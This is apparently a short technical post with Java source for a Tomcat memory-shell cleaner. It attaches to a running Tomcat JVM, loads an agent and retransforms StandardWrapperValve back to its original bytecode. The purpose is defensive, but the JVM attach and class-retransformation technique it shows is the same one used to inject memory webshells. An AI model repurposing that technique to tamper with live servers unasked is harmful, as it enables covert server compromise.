1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import  com.sun.tools.attach.VirtualMachine;import  com.sun.tools.attach.VirtualMachineDescriptor;import  javassist.ClassPool;import  javassist.CtClass;import  java.lang.instrument.ClassFileTransformer;import  java.lang.instrument.IllegalClassFormatException;import  java.lang.instrument.Instrumentation;import  java.security.ProtectionDomain;import  java.util.List;public  class  AgentClear  {    public  static  final  String  CLASSNAME  =  "org.apache.catalina.core.StandardWrapperValve" ;     public  static  void  agentmain (String args, Instrumentation inst)  throws  Exception {         for  (Class clazz : inst.getAllLoadedClasses()) {             if  (clazz.getName().equals(CLASSNAME)) {                 inst.addTransformer(new  RecoveryTransform (), true );                 inst.retransformClasses(clazz);             }         }     }     public  static  void  main (String[] args)  throws  Exception {         List<VirtualMachineDescriptor> list = VirtualMachine.list();         for  (VirtualMachineDescriptor desc : list) {             String  name  =  desc.displayName();             String  pid  =  desc.id();             if  (name.contains("org.apache.catalina.startup.Bootstrap" )) {                 System.out.println("To: "  + pid);                 VirtualMachine  vm  =  VirtualMachine.attach(pid);                 vm.loadAgent("E:\\Zodog\\Pros\\TomcatShell\\AgentClear\\target\\AgentClear-1.0-SNAPSHOT-jar-with-dependencies.jar" );                 vm.detach();                 System.out.println("attach ok" );                 break ;             }         }     } } class  RecoveryTransform  implements  ClassFileTransformer  {    @Override      public  byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws  IllegalClassFormatException {         try  {             ClassPool  pool  =  ClassPool.getDefault();             CtClass  clazz  =  pool.get(className);             byte [] bytes = clazz.toBytecode();             clazz.detach();             System.out.println(className + " 已经被还原" );             return  bytes;         } catch  (Exception e) {             e.printStackTrace();         }         return  classfileBuffer;     } } 
原理就是利用这个agent重新将字节码修改为正常字节码
Reference: